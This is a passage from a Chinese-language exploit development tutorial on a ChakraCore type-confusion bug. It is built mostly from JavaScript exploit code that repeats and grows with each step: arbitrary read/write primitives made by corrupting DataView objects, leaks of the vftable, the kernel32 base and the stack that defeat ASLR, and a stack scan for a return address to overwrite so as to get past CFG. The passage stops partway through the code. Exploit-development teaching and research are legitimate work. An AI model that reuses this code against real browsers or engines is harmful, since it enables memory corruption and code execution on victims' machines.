// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
    return ${x.toString(16)};
}

// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getUint32(0x0, true);  // 4-byte arbitrary read
    arrayRead[1] = dataview2.getUint32(0x4, true);  // 4-byte arbitrary read

    // Return the array
    return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);      // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);      // 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // From here we can call read64() and write64()
}

main();

我们可以看到,上面添加了一些东西。第一个是hex()函数,它实际上只是为了“漂亮的打印效果”。它允许我们将一个值转换为十六进制,这显然是Windows中用户模式地址的表示方法。

其次,还增加了read64()函数。这实际上与使用任意写入原语的效果是一样的:用dataview1来覆盖dataview2的buffer,使其保存我们想要读取的地址。然而,我们没有使用dataview2.setUint32()来覆盖我们的目标地址,而是使用getUint32()方法来从我们的目标地址处获取0x8字节。

最后,write64()函数的效果,等同于前面实现任意写入的代码。我们只是将读/写过程“模板化”,使我们的漏洞利用代码的开发更有效率。

有了读/写原语,我们的下一步将是绕过ASLR,以便能够可靠地读/写内存中的数据。

0x04 绕过ASLR机制——Chakra/ChakraCore版

当谈到绕过ASLR时,在“现代”的漏洞利用过程中,这通常需要借助于信息泄露。由于64位地址空间太密集了,无法依赖“蛮力攻击”,所以,我们必须找到另一种方法。幸运的是,得益于Chakra/ChakraCore在内存中布置JavaScript对象的方式,我们能够利用类型混淆漏洞和读取原语来轻松地泄露chakracore.dll的地址。现在,让我们回顾一下动态对象在内存中的布局。

1.png

正如我们在上面看到的,动态对象的第一个隐藏属性是vftable。并且,该属性总是指向Chakracore.dll和Edge中的Chakra.dll的某个地址。正因为如此,我们可以直接使用我们的任意读取原语,将我们要读取的目标地址设置为dataview2对象的vftable指针,然后读取这个地址处所包含的内容(这里实际上是chakracore.dll中的一个指针)!这个概念非常简单,但是我们实际上可以通过不使用read64()来更容易地实现它。下面是相应的代码。

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}

// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getUint32(0x0, true);  // 4-byte arbitrary read
    arrayRead[1] = dataview2.getUint32(0x4, true);  // 4-byte arbitrary read

    // Return the array
    return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);      // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);      // 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0, true);
    vtableHigh = dataview1.getUint32(4, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
}

main();

我们知道,在read64()中,我们首先使用dataview1.setUint(0x38...)将dataview2->buffer覆盖成了我们要读取的目标地址。这是因为该buffer在DataView对象中的偏移量为0x38。但是,由于dataview1已经作用于dataview2对象,并且我们知道vftable占用了该对象的0x0到0x8字节(因为它是DataView对象的第一个元素),所以,我们可以直接利用可以通过dataview1方法控制dataview2对象的能力来检索存储在0x0到0x8字节的内容——也就是vftable!这是我们唯一一次不通过read64()函数执行读取操作(只是暂时的)。这个概念相当简单,具体如下图所示:

1.png

但是,我们没有使用setUint32()方法来覆盖vftable,而是使用getUint32()方法来检索值。

1.png

另一件需要注意的事情是,我们把读取操作分成了两步。正如我们所记得的,这是因为我们一次只能读/写32位——所以,我们必须执行两次才能实现64位的读/写操作。

需要注意的是,这里不会单步调试read64()和write64()函数调用。这是因为我们已经利用WinDbg详细考察了任意写入原语的作用。我们已经知道如何使用内置的DataView方法setUint32()来覆盖dataview2->buffer,然后以dataview2的名义,使用相同的方法,用我们自己的数据覆盖缓冲区。正因为如此,在WinDbg中执行的所有操作都将纯粹是为了利用该漏洞。下面是使用ch.exe执行上述操作时的效果。

1.png

如果我们在调试器中检查这个地址,我们可以清楚地看到其实就是从DataView泄露的vftable元素!

1.png

现在,我们可以通过泄露的vftable元素与chakracore.dll的基址之间的偏移量来计算chakracore.dll的基址。

1.png
1.png
1.png

更新后的、用于泄漏chakracore.dll基址的代码如下所示:

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
}

main();

请注意,从这里开始,我们将省略opt(o, o, obj)之前的所有代码。这是为了节省空间,这部分代码一直保持不变。还要注意,我们必须将64位地址存储到两个单独的变量中。这是因为我们在JavaScript中访问的数据类型的位宽最多32位(就Chakra/ChakraCore而言)。

在Windows系统上,无论哪种类型的代码执行,都必须解析所需的Windows API函数的地址。在本系列文章中,我们的漏洞利用代码将调用WinExec来生成 calc.exe(请注意,在第三篇文章中,我们将实现反向shell,但由于这个过程要复杂的多,所以,这里先解释如何实现代码执行)。

在Windows系统上,导入地址表 (IAT) 存储在PE文件的一个节中,其中存放所需的指针。请记住,在ch.exe执行我们的exploit.js之前,chakracore.dll并不会加载到进程空间中。因此,要查看IAT,我们需要在WinDbg中通过ch.exe运行exploit.js。为此,我们需要通过ch!WScriptJsrt::EchoCallback在print()函数上设置断点。

1.png

现在,我们可以运行!dh chakracore命令来查看chakracore的IAT在哪里,它应该包含一个指向ChakraCore使用的Windows API函数的指针表。

1.png
1.png

找到IAT后,我们可以直接转储位于chakracore+0x17c0000处的所有指针。

1.png

正如我们在上面看到的,在chakracore_iat+0x40处有一个指向kernel32.dll(准确来说,是kernel32!RaiseExceptionStub)的指针。我们可以对这个地址应用我们的读取原语,以便从kernel32.dll中泄漏一个地址,然后通过与vftable泄漏相同的方法计算kernel32.dll的基址。

1.png

下面是用于获取kernel32.dll基址的代码(这里已经进行了更新):

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));
}

main();

从这里可以看出,我们成功地泄漏了kernel32.dll的基址。

1.png

有一点读者可能感到奇怪:我们的iatEntry被视为一个数组。这实际上是因为我们的read64()函数返回的是一个由两个32位值组成的数组。这是因为我们正在读取的值的地址的位宽为64位,而JavaScript只为我们提供的方法一次只能处理32位的值。因此,read64()将64位地址存储在两个单独的32位值中,这两个值通过数组进行管理。我们可以通过回顾read64()函数来了解这一点。

// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getUint32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getUint32(0x4, true);   // 4-byte arbitrary read

    // Return the array
    return arrayRead;
}

现在,我们已经拥有了开始执行代码所需的几乎所有信息。下面,让我们看看如何从ASLR泄漏开始向代码执行进发,记住,控制流保护(CFG)和DEP仍然是有待处理的事情。

0x05 代码执行——CFG版

在我上一篇关于利用Internet Explorer的文章中,我们通过伪造vftable并用ROP链覆盖函数指针来实现代码执行。由于CFG的缘故,这种方法在ChakraCore或Edge中是不可能的。

CFG是用于验证间接函数调用的漏洞利用缓解措施。任何执行call qword ptr[reg]指令的函数调用都将被视为间接函数调用,因为现在程序可以知道当调用发生时RAX指向什么,所以,如果攻击者能够覆盖被调用的指针,他们显然可以将执行重定向到他们控制的内存中的任何地方。这正是我们利用Internet Explorer漏洞时所采用的方法,但这种方法在这里是行不通的。

启用CFG缓解措施后,每当执行这些间接函数调用时,都会检查该函数是否被攻击者控制的恶意地址所覆盖。至于具体的检查过程,这里不再详述,因为我以前已经写过Windows系统上的控制流完整性介绍。简单来说,CFG基本上意味着我们无法通过覆盖函数指针来实现代码执行。那我们该怎么做呢?

CFG是一种先进的控制流完整性解决方案。这意味着每当调用发生时,CFG都能够检查函数的完整性,以确保它没有遭到破坏。但是,其他控制流传输指令,如返回指令呢?

实际上,call指令并不是程序将执行重定向到PE或加载映像的另一部分的唯一方法。指令ret也可以将执行重定向到内存中其他地方,该指令的工作方式是将RSP(堆栈指针)上的值加载到RIP(指令指针)中,以实现执行。如果我们考虑一个简单的堆栈溢出,这就是我们本质上要做的。我们使用原语损坏堆栈来定位ret地址,并用内存中的另一个地址覆盖它。这导致控制流劫持,攻击者可以藉此控制程序。

由于我们知道ret指令能够将控制流转移到内存中的其他地方,并且由于CFG机制并不检查ret指令,所以,我们可以使用像传统堆栈溢出那样的原语!我们可以在正在执行的线程中找到堆栈上(在执行时)的ret指令地址,并且可以用我们控制的数据(例如返回到ROP链中的ROP gadget)覆盖该返回地址。我们知道这个ret地址最终将被执行,因为程序需要使用这个返回地址来将执行流程返回到被覆盖函数(我们将破坏其返回地址的函数)之前的位置。

然而,问题是我们不知道当前线程的堆栈在哪里,也不知道其他线程的堆栈在哪里。下面,让我们看看如何利用Chakra/Chakracore的架构泄漏堆栈地址。

0x06 泄露堆栈地址

为了在堆栈(实际上是任何仍提交到内存的活动线程堆栈,我们将在第三篇中介绍)上找到要覆盖的返回地址,我们首先需要找出堆栈地址在哪里。Google Project Zero的Ivan Fratric不久前发布了一篇这方面的帖子,正如Ivan所解释的,ChakraCore中的ThreadContext实例中包含了堆栈指针,如StackLimitForCurrentThread。相应的指针链如下:type->javascriptLibrary->scriptContext->threadContext。注意到了吗?这个指针链中的第一个指针为type。根据我们对动态对象在内存中布局的了解,vftable是该对象的第一个隐藏属性,而type就是其第二个隐藏属性!同时,我们已经知道了如何泄漏dataview2对象的vftable属性(我们曾经绕过ASLR)。那好,让我们更新exploit.js,使其同时泄漏dataview2对象的type属性:

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));
}

main();

如您所见,我们的exploit是通过typeLo和typeHigh来控制dataview2->type的。

现在,让我们在WinDbg中通过遍历这些结构体来查找堆栈地址。为此,可以在WinDbg中加载exploit.js,并在chakracore!Js::DataView::EntrySetUint32上设置断点。当我们命中这个函数时,一定会在内存中看到一个动态对象(DataView)。然后,我们可以遍历这些指针。

1.png

命中该断点后,让我们查看反汇编代码,并在熟悉的SetValue()方法上设置断点。

1.png

命中该断点后,我们可以在调试器中执行g命令,并检查RCX寄存器,其中存放的应该就是DataView对象。

1.png

根据Project Zero提交的帖子,javascriptLibrary指针是我们要查找的第一个元素。我们可以在type指针内偏移量为0x8处找到该指针。

1.png

从javascriptLibrary指针中,我们可以检索我们要查找的下一个元素——ScriptContext结构体。根据Project Zero提交的帖子,它应该位于偏移量javascriptLibrary+0x430处。然而,那篇帖子讨论的是微软的Edge浏览器和Chakra引擎。尽管我们使用的是CharkraCore,但是它在大多数方面与Chakra都是相同的,不过,结构体的偏移量还是略有不同(当我们在第三篇将exploit移植到Edge浏览器中时,则使用了与Project Zero所用的偏移量完全相同)。我们的ScriptContext指针位于JavaScriptLibrary+0x450处。

1.png

太棒了!现在,我们已经搞定了ScriptContext指针,接下来就可以计算下一个偏移量——它应该对应于ThreadContext结构体。它可以在ChakraCore的ScriptContext+0x3b8处找到(在Chakra/Edge中,偏移量有所不同)。

1.png

漂亮!泄漏ThreadContext指针后,我们可以继续使用WinDbg中的dt命令解析它,因为ChakraCore是开源的,我们有相应的符号。

1.png

正如我们在上面看到的,Chakracore/Chakra在这个结构体中存储了各种堆栈地址!这对我们来说是幸运的,因为现在我们可以使用任意读取原语来定位堆栈!唯一需要注意的是,这个堆栈地址不是来自当前正在执行的线程(我们的攻击线程)。我们可以通过在WinDbg中使用!teb命令查看关于当前线程的信息,并查看泄漏的地址是如何显示的。

1.png

正如我们所看到的,我们离当前线程的StackLimit距离为0xed000字节。这完全没问题,因为这个值不会在重启后发生改变。不过,Edge exploit中的情况有所变化:我们将泄露该结构体中其他的堆栈地址。不过,现在使用的是stackLimitForCurrrentThread。

下面是我们更新后的代码,其中包括堆栈泄漏功能:

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));

    // Leak type->javascriptLibrary (lcoated at type+0x8)
    javascriptLibrary = read64(typeLo+0x8, typeHigh);

    // Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
    scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);

    // Leak type->javascripLibrary->scriptContext->threadContext
    threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);

    // Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
    stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);

    // Print update
    print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
    print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));

    // Compute the stack limit for the current thread and store it in an array
    var stackLeak = new Uint32Array(0x10);
    stackLeak[0] = stackAddress[0] + 0xed000;
    stackLeak[1] = stackAddress[1];

    // Print update
    print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));
}

main();

代码执行结果表明我们已经成功地泄露了当前线程的堆栈。

1.png

现在,我们已经找到了堆栈,接下来可以扫描堆栈,以找到返回地址,然后,可以通过覆盖这个地址以实现代码执行。

0x07 查找返回地址

现在,我们已经得到了一个读取原语,并且知道了堆栈的位置。这样的话,我们就可以通过“扫描堆栈”来搜索任意返回地址了。正如我们所知,当调用指令执行时,被调用的函数会将返回地址压入堆栈。这样函数就知道在执行完毕后,ret指令应该返回到哪里继续执行。我们要做的是,搞清楚被调用函数将返回地址压入到堆栈的什么地方,以便用我们控制的数据来覆盖它。

要找到最佳返回地址,其实方法有很多,这里采用的是“蛮力攻击”方法。这意味着,我们将在exploit代码中通过循环语句来扫描整个堆栈的内容。任何以0x7fff开头的地址都可能是压入堆栈的返回地址(这实际上有点用词不当,因为其他数据也位于堆栈上)。然后,我们可以查看WinDbg中的一些地址,以确认它们是否是返回地址,并相应地覆盖它们。乍一看这个过程令人生畏,但请不要担心,我将引导您完成这个任务。

首先,让我们在exploit.js中添加一个循环语句来扫描堆栈。

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));

    // Leak type->javascriptLibrary (lcoated at type+0x8)
    javascriptLibrary = read64(typeLo+0x8, typeHigh);

    // Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
    scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);

    // Leak type->javascripLibrary->scriptContext->threadContext
    threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);

    // Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
    stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);

    // Print update
    print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
    print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));

    // Compute the stack limit for the current thread and store it in an array
    var stackLeak = new Uint32Array(0x10);
    stackLeak[0] = stackAddress[0] + 0xed000;
    stackLeak[1] = stackAddress[1];

    // Print update
    print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));

    // Scan the stack

    // Counter variable
    let counter = 0;

    // Loop
    while (counter < 0x10000)
    {
        // Store the contents of the stack
        tempContents = read64(stackLeak[0]+counter, stackLeak[1]);

        // Print update
        print("[+] Stack address 0x" + hex(stackLeak[1]) + hex(stackLeak[0]+counter) + " contains: 0x" + hex(tempContents[1]) + hex(tempContents[0]));

        // Increment the counter
        counter += 0x8;
    }
}

main();

正如我们在上面看到的,我们将扫描堆栈,最多扫描0x10000字节(这只是一个随机的任意值)。值得注意的是,在基于x64架构的Windows系统上,堆栈是“向下 ”生长的。由于我们已经泄露了栈顶,所以从技术上讲,这是我们的堆栈可以生长到的“最低”地址。栈底被称为上限,堆栈也不能增长到哪里。这两个位置可以通过!teb命令的输出找到。

1.png

例如,假设我们的堆栈从地址0xf7056ff000处开始(基于上面的图片)。我们可以看到,这个地址是介于栈顶和栈底的范围内。如果我们执行push rax指令,将RAX放入堆栈,那么堆栈地址就会“增长”到0xf7056feff8。同样的概念也可以应用于函数序言,它通过执行sub rsp, 0xSIZE来分配堆栈空间。由于我们泄露了堆栈的“最低地址”,我们将通过在每次迭代后向我们的计数器加0x8来“向上”扫描。

现在让我们在不附加任何调试器的cmd.exe会话中运行更新后的exploit.js,并将其输出到一个文件中。

1.png

正如我们所看到的,我们的访问被拒绝了。这实际上与我们的exploit无关,只是我们试图读取因循环而导致的无效内存。这是因为我们将要读取的字节数设置成了一个任意值,即0x10000字节,所有这些内存可能都不是常驻的。这并不需要担心,因为如果打开results.txt文件,这里能看到程序的全部运行结果;我们可以看到,许多内存是可以正常访问的。

1.png

在我们的结果中向下滚动一点,我们可以看到我们终于到达了带有返回地址和其他数据的堆栈位置。

1.png

我们接下来要做的是进行“试错”。比如,我们可以取以0x7fff开头的地址,因为我们知道这种地址是标准的用户模式地址,来自由磁盘支持的加载模块(例如ntdll.dll);我们可以在WinDbg中反汇编它,以确定它是否是一个返回地址,并尝试使用它。

好了,下面我们开始介绍具体的操作过程。例如,在对results.txt进行解析之后,我在堆栈中找到了地址0x7fff25c78b0。同样,这可能是另一个位于ret指令尾部的、以0x7fff开头的返回地址。

1.png

找到这个地址后,我们需要弄清楚这是否是一个ret指令。为此,我们可以在WinDbg中执行我们的exploit,并为chakracore.dll设置一个break-on-load断点。这将告诉WinDbg在Chakracore.dll加载到进程空间时中断。

1.png

1.png

在加载Chakracore.dll之后,我们可以反汇编内存地址,正如我们所看到的,这是一个有效的返回地址。

1.png

这意味着在代码执行过程中的某个时刻,会调用函数chakracore!JsRun。调用这个函数时,chakracore!JsRun+0x40(返回地址)被压入堆栈。当chakracore!JsRun执行完毕时,它将返回到这个指令处。我们要做的是:首先执行一个概念验证程序,用0x414141414141414141覆盖这个返回地址。这意味着,当chakracore!JsRun执行完毕(这应该发生在exploit的生存期内),它将尝试把返回地址加载到指令指针中——该指针将被0x414141414141414141覆盖。这将使我们能够控制RIP寄存器!再次重申,我们之所以能够覆盖这个返回地址,是因为exploit运行到这里时(当我们扫描堆栈时),chakracore!JsRun的返回地址就在堆栈上。这意味着,在我们的exploit运行期间,由于JavaScript已经运行(我们的exploit.js),chakracore!JsRun必须将执行流程返回给调用它的函数(调用者)。当这种情况发生时,我们将破坏返回地址以将控制流劫持到我们最终的ROP链中。

现在,我们找到了一个目标地址,它位于距离chakrecore.dll 0x1768BC0字节的地方。

1.png

考虑到这一点,我们可以将exploit.js更新为以下内容,这将使我们能够控制RIP。

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));

    // Leak type->javascriptLibrary (lcoated at type+0x8)
    javascriptLibrary = read64(typeLo+0x8, typeHigh);

    // Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
    scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);

    // Leak type->javascripLibrary->scriptContext->threadContext
    threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);

